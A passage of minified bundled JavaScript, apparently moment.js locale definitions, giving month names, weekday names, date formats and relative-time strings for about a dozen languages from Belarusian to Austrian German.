n,r}e.defineLocale("be",{months:{format:"студзеня_лютага_сакавіка_красавіка_траўня_чэрвеня_ліпеня_жніўня_верасня_кастрычніка_лістапада_снежня".split("_"),standalone:"студзень_люты_сакавік_красавік_травень_чэрвень_ліпень_жнівень_верасень_кастрычнік_лістапад_снежань".split("_")},monthsShort:"студ_лют_сак_крас_трав_чэрв_ліп_жнів_вер_каст_ліст_снеж".split("_"),weekdays:{format:"нядзелю_панядзелак_аўторак_сераду_чацвер_пятніцу_суботу".split("_"),standalone:"нядзеля_панядзелак_аўторак_серада_чацвер_пятніца_субота".split("_"),isFormat:/\[ ?[Ууў] ?(?:мінулую|наступную)? ?\] ?dddd/},weekdaysShort:"нд_пн_ат_ср_чц_пт_сб".split("_"),weekdaysMin:"нд_пн_ат_ср_чц_пт_сб".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY г.",LLL:"D MMMM YYYY г., HH:mm",LLLL:"dddd, D MMMM YYYY г., HH:mm"},calendar:{sameDay:"[Сёння ў] LT",nextDay:"[Заўтра ў] LT",lastDay:"[Учора ў] LT",nextWeek:function(){return"[У] dddd [ў] LT"},lastWeek:function(){switch(this.day()){case 0:case 3:case 5:case 6:return"[У мінулую] dddd [ў] LT";case 1:case 2:case 4:return"[У мінулы] dddd [ў] LT"}},sameElse:"L"},relativeTime:{future:"праз %s",past:"%s таму",s:"некалькі секунд",m:t,mm:t,h:t,hh:t,d:"дзень",dd:t,M:"месяц",MM:t,y:"год",yy:t},meridiemParse:/ночы|раніцы|дня|вечара/,isPM:function(e){return/^(дня|вечара)$/.test(e)},meridiem:function(e,t,i){return e<4?"ночы":e<12?"раніцы":e<17?"дня":"вечара"},dayOfMonthOrdinalParse:/\d{1,2}-(і|ы|га)/,ordinal:function(e,t){switch(t){case"M":case"d":case"DDD":case"w":case"W":return e%10!=2&&e%10!=3||e%100==12||e%100==13?e+"-ы":e+"-і";case"D":return e+"-га";default:return e}},week:{dow:1,doy:7}})}(i(30381))},68338:function(e,t,i){!function(e){"use strict";e.defineLocale("bg",{months:"януари_февруари_март_април_май_юни_юли_август_септември_октомври_ноември_декември".split("_"),monthsShort:"яну_фев_мар_апр_май_юни_юли_авг_сеп_окт_ное_дек".split("_"),weekdays:"неделя_понеделник_вторник_сряда_четвъртък_петък_събота".split("_"),weekdaysShort:"нед_пон_вто_сря_чет_пет_съб".split("_"),weekdaysMin:"нд_пн_вт_ср_чт_пт_сб".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[Днес в] LT",nextDay:"[Утре в] LT",nextWeek:"dddd [в] LT",lastDay:"[Вчера в] LT",lastWeek:function(){switch(this.day()){case 0:case 3:case 6:return"[Миналата] dddd [в] LT";case 1:case 2:case 4:case 5:return"[Миналия] dddd [в] LT"}},sameElse:"L"},relativeTime:{future:"след %s",past:"преди %s",s:"няколко секунди",ss:"%d секунди",m:"минута",mm:"%d минути",h:"час",hh:"%d часа",d:"ден",dd:"%d дена",w:"седмица",ww:"%d седмици",M:"месец",MM:"%d месеца",y:"година",yy:"%d години"},dayOfMonthOrdinalParse:/\d{1,2}-(ев|ен|ти|ви|ри|ми)/,ordinal:function(e){var t=e%10,i=e%100;return 0===e?e+"-ев":0===i?e+"-ен":i>10&&i<20?e+"-ти":1===t?e+"-ви":2===t?e+"-ри":7===t||8===t?e+"-ми":e+"-ти"},week:{dow:1,doy:7}})}(i(30381))},67438:function(e,t,i){!function(e){"use strict";e.defineLocale("bm",{months:"Zanwuyekalo_Fewuruyekalo_Marisikalo_Awirilikalo_Mɛkalo_Zuwɛnkalo_Zuluyekalo_Utikalo_Sɛtanburukalo_ɔkutɔburukalo_Nowanburukalo_Desanburukalo".split("_"),monthsShort:"Zan_Few_Mar_Awi_Mɛ_Zuw_Zul_Uti_Sɛt_ɔku_Now_Des".split("_"),weekdays:"Kari_Ntɛnɛn_Tarata_Araba_Alamisa_Juma_Sibiri".split("_"),weekdaysShort:"Kar_Ntɛ_Tar_Ara_Ala_Jum_Sib".split("_"),weekdaysMin:"Ka_Nt_Ta_Ar_Al_Ju_Si".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"MMMM [tile] D [san] YYYY",LLL:"MMMM [tile] D [san] YYYY [lɛrɛ] HH:mm",LLLL:"dddd MMMM [tile] D [san] YYYY [lɛrɛ] HH:mm"},calendar:{sameDay:"[Bi lɛrɛ] LT",nextDay:"[Sini lɛrɛ] LT",nextWeek:"dddd [don lɛrɛ] LT",lastDay:"[Kunu lɛrɛ] LT",lastWeek:"dddd [tɛmɛnen lɛrɛ] LT",sameElse:"L"},relativeTime:{future:"%s kɔnɔ",past:"a bɛ %s bɔ",s:"sanga dama dama",ss:"sekondi %d",m:"miniti kelen",mm:"miniti %d",h:"lɛrɛ kelen",hh:"lɛrɛ %d",d:"tile kelen",dd:"tile %d",M:"kalo kelen",MM:"kalo %d",y:"san kelen",yy:"san %d"},week:{dow:1,doy:4}})}(i(30381))},76225:function(e,t,i){!function(e){"use strict";var t={1:"১",2:"২",3:"৩",4:"৪",5:"৫",6:"৬",7:"৭",8:"৮",9:"৯",0:"০"},i={"১":"1","২":"2","৩":"3","৪":"4","৫":"5","৬":"6","৭":"7","৮":"8","৯":"9","০":"0"};e.defineLocale("bn-bd",{months:"জানুয়ারি_ফেব্রুয়ারি_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্টেম্বর_অক্টোবর_নভেম্বর_ডিসেম্বর".split("_"),monthsShort:"জানু_ফেব্রু_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্ট_অক্টো_নভে_ডিসে".split("_"),weekdays:"রবিবার_সোমবার_মঙ্গলবার_বুধবার_বৃহস্পতিবার_শুক্রবার_শনিবার".split("_"),weekdaysShort:"রবি_সোম_মঙ্গল_বুধ_বৃহস্পতি_শুক্র_শনি".split("_"),weekdaysMin:"রবি_সোম_মঙ্গল_বুধ_বৃহ_শুক্র_শনি".split("_"),longDateFormat:{LT:"A h:mm সময়",LTS:"A h:mm:ss সময়",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm সময়",LLLL:"dddd, D MMMM YYYY, A h:mm সময়"},calendar:{sameDay:"[আজ] LT",nextDay:"[আগামীকাল] LT",nextWeek:"dddd, LT",lastDay:"[গতকাল] LT",lastWeek:"[গত] dddd, LT",sameElse:"L"},relativeTime:{future:"%s পরে",past:"%s আগে",s:"কয়েক সেকেন্ড",ss:"%d সেকেন্ড",m:"এক মিনিট",mm:"%d মিনিট",h:"এক ঘন্টা",hh:"%d ঘন্টা",d:"এক দিন",dd:"%d দিন",M:"এক মাস",MM:"%d মাস",y:"এক বছর",yy:"%d বছর"},preparse:function(e){return e.replace(/[১২৩৪৫৬৭৮৯০]/g,(function(e){return i[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/রাত|ভোর|সকাল|দুপুর|বিকাল|সন্ধ্যা|রাত/,meridiemHour:function(e,t){return 12===e&&(e=0),"রাত"===t?e<4?e:e+12:"ভোর"===t||"সকাল"===t?e:"দুপুর"===t?e>=3?e:e+12:"বিকাল"===t||"সন্ধ্যা"===t?e+12:void 0},meridiem:function(e,t,i){return e<4?"রাত":e<6?"ভোর":e<12?"সকাল":e<15?"দুপুর":e<18?"বিকাল":e<20?"সন্ধ্যা":"রাত"},week:{dow:0,doy:6}})}(i(30381))},8905:function(e,t,i){!function(e){"use strict";var t={1:"১",2:"২",3:"৩",4:"৪",5:"৫",6:"৬",7:"৭",8:"৮",9:"৯",0:"০"},i={"১":"1","২":"2","৩":"3","৪":"4","৫":"5","৬":"6","৭":"7","৮":"8","৯":"9","০":"0"};e.defineLocale("bn",{months:"জানুয়ারি_ফেব্রুয়ারি_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্টেম্বর_অক্টোবর_নভেম্বর_ডিসেম্বর".split("_"),monthsShort:"জানু_ফেব্রু_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্ট_অক্টো_নভে_ডিসে".split("_"),weekdays:"রবিবার_সোমবার_মঙ্গলবার_বুধবার_বৃহস্পতিবার_শুক্রবার_শনিবার".split("_"),weekdaysShort:"রবি_সোম_মঙ্গল_বুধ_বৃহস্পতি_শুক্র_শনি".split("_"),weekdaysMin:"রবি_সোম_মঙ্গল_বুধ_বৃহ_শুক্র_শনি".split("_"),longDateFormat:{LT:"A h:mm সময়",LTS:"A h:mm:ss সময়",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm সময়",LLLL:"dddd, D MMMM YYYY, A h:mm সময়"},calendar:{sameDay:"[আজ] LT",nextDay:"[আগামীকাল] LT",nextWeek:"dddd, LT",lastDay:"[গতকাল] LT",lastWeek:"[গত] dddd, LT",sameElse:"L"},relativeTime:{future:"%s পরে",past:"%s আগে",s:"কয়েক সেকেন্ড",ss:"%d সেকেন্ড",m:"এক মিনিট",mm:"%d মিনিট",h:"এক ঘন্টা",hh:"%d ঘন্টা",d:"এক দিন",dd:"%d দিন",M:"এক মাস",MM:"%d মাস",y:"এক বছর",yy:"%d বছর"},preparse:function(e){return e.replace(/[১২৩৪৫৬৭৮৯০]/g,(function(e){return i[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/রাত|সকাল|দুপুর|বিকাল|রাত/,meridiemHour:function(e,t){return 12===e&&(e=0),"রাত"===t&&e>=4||"দুপুর"===t&&e<5||"বিকাল"===t?e+12:e},meridiem:function(e,t,i){return e<4?"রাত":e<10?"সকাল":e<17?"দুপুর":e<20?"বিকাল":"রাত"},week:{dow:0,doy:6}})}(i(30381))},11560:function(e,t,i){!function(e){"use strict";var t={1:"༡",2:"༢",3:"༣",4:"༤",5:"༥",6:"༦",7:"༧",8:"༨",9:"༩",0:"༠"},i={"༡":"1","༢":"2","༣":"3","༤":"4","༥":"5","༦":"6","༧":"7","༨":"8","༩":"9","༠":"0"};e.defineLocale("bo",{months:"ཟླ་བ་དང་པོ_ཟླ་བ་གཉིས་པ_ཟླ་བ་གསུམ་པ_ཟླ་བ་བཞི་པ_ཟླ་བ་ལྔ་པ_ཟླ་བ་དྲུག་པ_ཟླ་བ་བདུན་པ_ཟླ་བ་བརྒྱད་པ_ཟླ་བ་དགུ་པ_ཟླ་བ་བཅུ་པ_ཟླ་བ་བཅུ་གཅིག་པ_ཟླ་བ་བཅུ་གཉིས་པ".split("_"),monthsShort:"ཟླ་1_ཟླ་2_ཟླ་3_ཟླ་4_ཟླ་5_ཟླ་6_ཟླ་7_ཟླ་8_ཟླ་9_ཟླ་10_ཟླ་11_ཟླ་12".split("_"),monthsShortRegex:/^(ཟླ་\d{1,2})/,monthsParseExact:!0,weekdays:"གཟའ་ཉི་མ་_གཟའ་ཟླ་བ་_གཟའ་མིག་དམར་_གཟའ་ལྷག་པ་_གཟའ་ཕུར་བུ_གཟའ་པ་སངས་_གཟའ་སྤེན་པ་".split("_"),weekdaysShort:"ཉི་མ་_ཟླ་བ་_མིག་དམར་_ལྷག་པ་_ཕུར་བུ_པ་སངས་_སྤེན་པ་".split("_"),weekdaysMin:"ཉི_ཟླ_མིག_ལྷག_ཕུར_སངས_སྤེན".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm",LLLL:"dddd, D MMMM YYYY, A h:mm"},calendar:{sameDay:"[དི་རིང] LT",nextDay:"[སང་ཉིན] LT",nextWeek:"[བདུན་ཕྲག་རྗེས་མ], LT",lastDay:"[ཁ་སང] LT",lastWeek:"[བདུན་ཕྲག་མཐའ་མ] dddd, LT",sameElse:"L"},relativeTime:{future:"%s ལ་",past:"%s སྔན་ལ",s:"ལམ་སང",ss:"%d སྐར་ཆ།",m:"སྐར་མ་གཅིག",mm:"%d སྐར་མ",h:"ཆུ་ཚོད་གཅིག",hh:"%d ཆུ་ཚོད",d:"ཉིན་གཅིག",dd:"%d ཉིན་",M:"ཟླ་བ་གཅིག",MM:"%d ཟླ་བ",y:"ལོ་གཅིག",yy:"%d ལོ"},preparse:function(e){return e.replace(/[༡༢༣༤༥༦༧༨༩༠]/g,(function(e){return i[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/མཚན་མོ|ཞོགས་ཀས|ཉིན་གུང|དགོང་དག|མཚན་མོ/,meridiemHour:function(e,t){return 12===e&&(e=0),"མཚན་མོ"===t&&e>=4||"ཉིན་གུང"===t&&e<5||"དགོང་དག"===t?e+12:e},meridiem:function(e,t,i){return e<4?"མཚན་མོ":e<10?"ཞོགས་ཀས":e<17?"ཉིན་གུང":e<20?"དགོང་དག":"མཚན་མོ"},week:{dow:0,doy:6}})}(i(30381))},1278:function(e,t,i){!function(e){"use strict";function t(e,t,i){return e+" "+function(e,t){return 2===t?function(e){var t={m:"v",b:"v",d:"z"};return void 0===t[e.charAt(0)]?e:t[e.charAt(0)]+e.substring(1)}(e):e}({mm:"munutenn",MM:"miz",dd:"devezh"}[i],e)}function i(e){return e>9?i(e%10):e}var n=[/^gen/i,/^c[ʼ\']hwe/i,/^meu/i,/^ebr/i,/^mae/i,/^(mez|eve)/i,/^gou/i,/^eos/i,/^gwe/i,/^her/i,/^du/i,/^ker/i],r=/^(genver|c[ʼ\']hwevrer|meurzh|ebrel|mae|mezheven|gouere|eost|gwengolo|here|du|kerzu|gen|c[ʼ\']hwe|meu|ebr|mae|eve|gou|eos|gwe|her|du|ker)/i,s=[/^Su/i,/^Lu/i,/^Me([^r]|$)/i,/^Mer/i,/^Ya/i,/^Gw/i,/^Sa/i];e.defineLocale("br",{months:"Genver_Cʼhwevrer_Meurzh_Ebrel_Mae_Mezheven_Gouere_Eost_Gwengolo_Here_Du_Kerzu".split("_"),monthsShort:"Gen_Cʼhwe_Meu_Ebr_Mae_Eve_Gou_Eos_Gwe_Her_Du_Ker".split("_"),weekdays:"Sul_Lun_Meurzh_Mercʼher_Yaou_Gwener_Sadorn".split("_"),weekdaysShort:"Sul_Lun_Meu_Mer_Yao_Gwe_Sad".split("_"),weekdaysMin:"Su_Lu_Me_Mer_Ya_Gw_Sa".split("_"),weekdaysParse:s,fullWeekdaysParse:[/^sul/i,/^lun/i,/^meurzh/i,/^merc[ʼ\']her/i,/^yaou/i,/^gwener/i,/^sadorn/i],shortWeekdaysParse:[/^Sul/i,/^Lun/i,/^Meu/i,/^Mer/i,/^Yao/i,/^Gwe/i,/^Sad/i],minWeekdaysParse:s,monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:/^(genver|c[ʼ\']hwevrer|meurzh|ebrel|mae|mezheven|gouere|eost|gwengolo|here|du|kerzu)/i,monthsShortStrictRegex:/^(gen|c[ʼ\']hwe|meu|ebr|mae|eve|gou|eos|gwe|her|du|ker)/i,monthsParse:n,longMonthsParse:n,shortMonthsParse:n,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [a viz] MMMM YYYY",LLL:"D [a viz] MMMM YYYY HH:mm",LLLL:"dddd, D [a viz] MMMM YYYY HH:mm"},calendar:{sameDay:"[Hiziv da] LT",nextDay:"[Warcʼhoazh da] LT",nextWeek:"dddd [da] LT",lastDay:"[Decʼh da] LT",lastWeek:"dddd [paset da] LT",sameElse:"L"},relativeTime:{future:"a-benn %s",past:"%s ʼzo",s:"un nebeud segondennoù",ss:"%d eilenn",m:"ur vunutenn",mm:t,h:"un eur",hh:"%d eur",d:"un devezh",dd:t,M:"ur miz",MM:t,y:"ur bloaz",yy:function(e){switch(i(e)){case 1:case 3:case 4:case 5:case 9:return e+" bloaz";default:return e+" vloaz"}}},dayOfMonthOrdinalParse:/\d{1,2}(añ|vet)/,ordinal:function(e){return e+(1===e?"añ":"vet")},week:{dow:1,doy:4},meridiemParse:/a.m.|g.m./,isPM:function(e){return"g.m."===e},meridiem:function(e,t,i){return e<12?"a.m.":"g.m."}})}(i(30381))},80622:function(e,t,i){!function(e){"use strict";function t(e,t,i){var n=e+" ";switch(i){case"ss":return n+(1===e?"sekunda":2===e||3===e||4===e?"sekunde":"sekundi");case"mm":return n+(1===e?"minuta":2===e||3===e||4===e?"minute":"minuta");case"h":return"jedan sat";case"hh":return n+(1===e?"sat":2===e||3===e||4===e?"sata":"sati");case"dd":return n+(1===e?"dan":"dana");case"MM":return n+(1===e?"mjesec":2===e||3===e||4===e?"mjeseca":"mjeseci");case"yy":return n+(1===e?"godina":2===e||3===e||4===e?"godine":"godina")}}e.defineLocale("bs",{months:"januar_februar_mart_april_maj_juni_juli_august_septembar_oktobar_novembar_decembar".split("_"),monthsShort:"jan._feb._mar._apr._maj._jun._jul._aug._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sri._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedjelju] [u] LT";case 3:return"[u] [srijedu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[jučer u] LT",lastWeek:function(){switch(this.day()){case 0:case 3:return"[prošlu] dddd [u] LT";case 6:return"[prošle] [subote] [u] LT";case 1:case 2:case 4:case 5:return"[prošli] dddd [u] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"prije %s",s:"par sekundi",ss:t,m:function(e,t,i,n){if("m"===i)return t?"jedna minuta":n?"jednu minutu":"jedne minute"},mm:t,h:t,hh:t,d:"dan",dd:t,M:"mjesec",MM:t,y:"godinu",yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(i(30381))},2468:function(e,t,i){!function(e){"use strict";e.defineLocale("ca",{months:{standalone:"gener_febrer_març_abril_maig_juny_juliol_agost_setembre_octubre_novembre_desembre".split("_"),format:"de gener_de febrer_de març_d'abril_de maig_de juny_de juliol_d'agost_de setembre_d'octubre_de novembre_de desembre".split("_"),isFormat:/D[oD]?(\s)+MMMM/},monthsShort:"gen._febr._març_abr._maig_juny_jul._ag._set._oct._nov._des.".split("_"),monthsParseExact:!0,weekdays:"diumenge_dilluns_dimarts_dimecres_dijous_divendres_dissabte".split("_"),weekdaysShort:"dg._dl._dt._dc._dj._dv._ds.".split("_"),weekdaysMin:"dg_dl_dt_dc_dj_dv_ds".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM [de] YYYY",ll:"D MMM YYYY",LLL:"D MMMM [de] YYYY [a les] H:mm",lll:"D MMM YYYY, H:mm",LLLL:"dddd D MMMM [de] YYYY [a les] H:mm",llll:"ddd D MMM YYYY, H:mm"},calendar:{sameDay:function(){return"[avui a "+(1!==this.hours()?"les":"la")+"] LT"},nextDay:function(){return"[demà a "+(1!==this.hours()?"les":"la")+"] LT"},nextWeek:function(){return"dddd [a "+(1!==this.hours()?"les":"la")+"] LT"},lastDay:function(){return"[ahir a "+(1!==this.hours()?"les":"la")+"] LT"},lastWeek:function(){return"[el] dddd [passat a "+(1!==this.hours()?"les":"la")+"] LT"},sameElse:"L"},relativeTime:{future:"d'aquí %s",past:"fa %s",s:"uns segons",ss:"%d segons",m:"un minut",mm:"%d minuts",h:"una hora",hh:"%d hores",d:"un dia",dd:"%d dies",M:"un mes",MM:"%d mesos",y:"un any",yy:"%d anys"},dayOfMonthOrdinalParse:/\d{1,2}(r|n|t|è|a)/,ordinal:function(e,t){var i=1===e?"r":2===e?"n":3===e?"r":4===e?"t":"è";return"w"!==t&&"W"!==t||(i="a"),e+i},week:{dow:1,doy:4}})}(i(30381))},5822:function(e,t,i){!function(e){"use strict";var t={standalone:"leden_únor_březen_duben_květen_červen_červenec_srpen_září_říjen_listopad_prosinec".split("_"),format:"ledna_února_března_dubna_května_června_července_srpna_září_října_listopadu_prosince".split("_"),isFormat:/DD?[o.]?(\[[^\[\]]*\]|\s)+MMMM/},i="led_úno_bře_dub_kvě_čvn_čvc_srp_zář_říj_lis_pro".split("_"),n=[/^led/i,/^úno/i,/^bře/i,/^dub/i,/^kvě/i,/^(čvn|červen$|června)/i,/^(čvc|červenec|července)/i,/^srp/i,/^zář/i,/^říj/i,/^lis/i,/^pro/i],r=/^(leden|únor|březen|duben|květen|červenec|července|červen|června|srpen|září|říjen|listopad|prosinec|led|úno|bře|dub|kvě|čvn|čvc|srp|zář|říj|lis|pro)/i;function s(e){return e>1&&e<5&&1!=~~(e/10)}function a(e,t,i,n){var r=e+" ";switch(i){case"s":return t||n?"pár sekund":"pár sekundami";case"ss":return t||n?r+(s(e)?"sekundy":"sekund"):r+"sekundami";case"m":return t?"minuta":n?"minutu":"minutou";case"mm":return t||n?r+(s(e)?"minuty":"minut"):r+"minutami";case"h":return t?"hodina":n?"hodinu":"hodinou";case"hh":return t||n?r+(s(e)?"hodiny":"hodin"):r+"hodinami";case"d":return t||n?"den":"dnem";case"dd":return t||n?r+(s(e)?"dny":"dní"):r+"dny";case"M":return t||n?"měsíc":"měsícem";case"MM":return t||n?r+(s(e)?"měsíce":"měsíců"):r+"měsíci";case"y":return t||n?"rok":"rokem";case"yy":return t||n?r+(s(e)?"roky":"let"):r+"lety"}}e.defineLocale("cs",{months:t,monthsShort:i,monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:/^(leden|ledna|února|únor|březen|března|duben|dubna|květen|května|červenec|července|červen|června|srpen|srpna|září|říjen|října|listopadu|listopad|prosinec|prosince)/i,monthsShortStrictRegex:/^(led|úno|bře|dub|kvě|čvn|čvc|srp|zář|říj|lis|pro)/i,monthsParse:n,longMonthsParse:n,shortMonthsParse:n,weekdays:"neděle_pondělí_úterý_středa_čtvrtek_pátek_sobota".split("_"),weekdaysShort:"ne_po_út_st_čt_pá_so".split("_"),weekdaysMin:"ne_po_út_st_čt_pá_so".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd D. MMMM YYYY H:mm",l:"D. M. YYYY"},calendar:{sameDay:"[dnes v] LT",nextDay:"[zítra v] LT",nextWeek:function(){switch(this.day()){case 0:return"[v neděli v] LT";case 1:case 2:return"[v] dddd [v] LT";case 3:return"[ve středu v] LT";case 4:return"[ve čtvrtek v] LT";case 5:return"[v pátek v] LT";case 6:return"[v sobotu v] LT"}},lastDay:"[včera v] LT",lastWeek:function(){switch(this.day()){case 0:return"[minulou neděli v] LT";case 1:case 2:return"[minulé] dddd [v] LT";case 3:return"[minulou středu v] LT";case 4:case 5:return"[minulý] dddd [v] LT";case 6:return"[minulou sobotu v] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"před %s",s:a,ss:a,m:a,mm:a,h:a,hh:a,d:a,dd:a,M:a,MM:a,y:a,yy:a},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},50877:function(e,t,i){!function(e){"use strict";e.defineLocale("cv",{months:"кӑрлач_нарӑс_пуш_ака_май_ҫӗртме_утӑ_ҫурла_авӑн_юпа_чӳк_раштав".split("_"),monthsShort:"кӑр_нар_пуш_ака_май_ҫӗр_утӑ_ҫур_авн_юпа_чӳк_раш".split("_"),weekdays:"вырсарникун_тунтикун_ытларикун_юнкун_кӗҫнерникун_эрнекун_шӑматкун".split("_"),weekdaysShort:"выр_тун_ытл_юн_кӗҫ_эрн_шӑм".split("_"),weekdaysMin:"вр_тн_ыт_юн_кҫ_эр_шм".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ]",LLL:"YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ], HH:mm",LLLL:"dddd, YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ], HH:mm"},calendar:{sameDay:"[Паян] LT [сехетре]",nextDay:"[Ыран] LT [сехетре]",lastDay:"[Ӗнер] LT [сехетре]",nextWeek:"[Ҫитес] dddd LT [сехетре]",lastWeek:"[Иртнӗ] dddd LT [сехетре]",sameElse:"L"},relativeTime:{future:function(e){return e+(/сехет$/i.exec(e)?"рен":/ҫул$/i.exec(e)?"тан":"ран")},past:"%s каялла",s:"пӗр-ик ҫеккунт",ss:"%d ҫеккунт",m:"пӗр минут",mm:"%d минут",h:"пӗр сехет",hh:"%d сехет",d:"пӗр кун",dd:"%d кун",M:"пӗр уйӑх",MM:"%d уйӑх",y:"пӗр ҫул",yy:"%d ҫул"},dayOfMonthOrdinalParse:/\d{1,2}-мӗш/,ordinal:"%d-мӗш",week:{dow:1,doy:7}})}(i(30381))},47373:function(e,t,i){!function(e){"use strict";e.defineLocale("cy",{months:"Ionawr_Chwefror_Mawrth_Ebrill_Mai_Mehefin_Gorffennaf_Awst_Medi_Hydref_Tachwedd_Rhagfyr".split("_"),monthsShort:"Ion_Chwe_Maw_Ebr_Mai_Meh_Gor_Aws_Med_Hyd_Tach_Rhag".split("_"),weekdays:"Dydd Sul_Dydd Llun_Dydd Mawrth_Dydd Mercher_Dydd Iau_Dydd Gwener_Dydd Sadwrn".split("_"),weekdaysShort:"Sul_Llun_Maw_Mer_Iau_Gwe_Sad".split("_"),weekdaysMin:"Su_Ll_Ma_Me_Ia_Gw_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Heddiw am] LT",nextDay:"[Yfory am] LT",nextWeek:"dddd [am] LT",lastDay:"[Ddoe am] LT",lastWeek:"dddd [diwethaf am] LT",sameElse:"L"},relativeTime:{future:"mewn %s",past:"%s yn ôl",s:"ychydig eiliadau",ss:"%d eiliad",m:"munud",mm:"%d munud",h:"awr",hh:"%d awr",d:"diwrnod",dd:"%d diwrnod",M:"mis",MM:"%d mis",y:"blwyddyn",yy:"%d flynedd"},dayOfMonthOrdinalParse:/\d{1,2}(fed|ain|af|il|ydd|ed|eg)/,ordinal:function(e){var t="";return e>20?t=40===e||50===e||60===e||80===e||100===e?"fed":"ain":e>0&&(t=["","af","il","ydd","ydd","ed","ed","ed","fed","fed","fed","eg","fed","eg","eg","fed","eg","eg","fed","eg","fed"][e]),e+t},week:{dow:1,doy:4}})}(i(30381))},24780:function(e,t,i){!function(e){"use strict";e.defineLocale("da",{months:"januar_februar_marts_april_maj_juni_juli_august_september_oktober_november_december".split("_"),monthsShort:"jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec".split("_"),weekdays:"søndag_mandag_tirsdag_onsdag_torsdag_fredag_lørdag".split("_"),weekdaysShort:"søn_man_tir_ons_tor_fre_lør".split("_"),weekdaysMin:"sø_ma_ti_on_to_fr_lø".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd [d.] D. MMMM YYYY [kl.] HH:mm"},calendar:{sameDay:"[i dag kl.] LT",nextDay:"[i morgen kl.] LT",nextWeek:"på dddd [kl.] LT",lastDay:"[i går kl.] LT",lastWeek:"[i] dddd[s kl.] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"%s siden",s:"få sekunder",ss:"%d sekunder",m:"et minut",mm:"%d minutter",h:"en time",hh:"%d timer",d:"en dag",dd:"%d dage",M:"en måned",MM:"%d måneder",y:"et år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},60217:function(e,t,i){!function(e){"use strict";function t(e,t,i,n){var r={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],w:["eine Woche","einer Woche"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?r[i][0]:r[i][1]}e.defineLocale("de-at",{months:"Jänner_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jän._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So._Mo._Di._Mi._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY 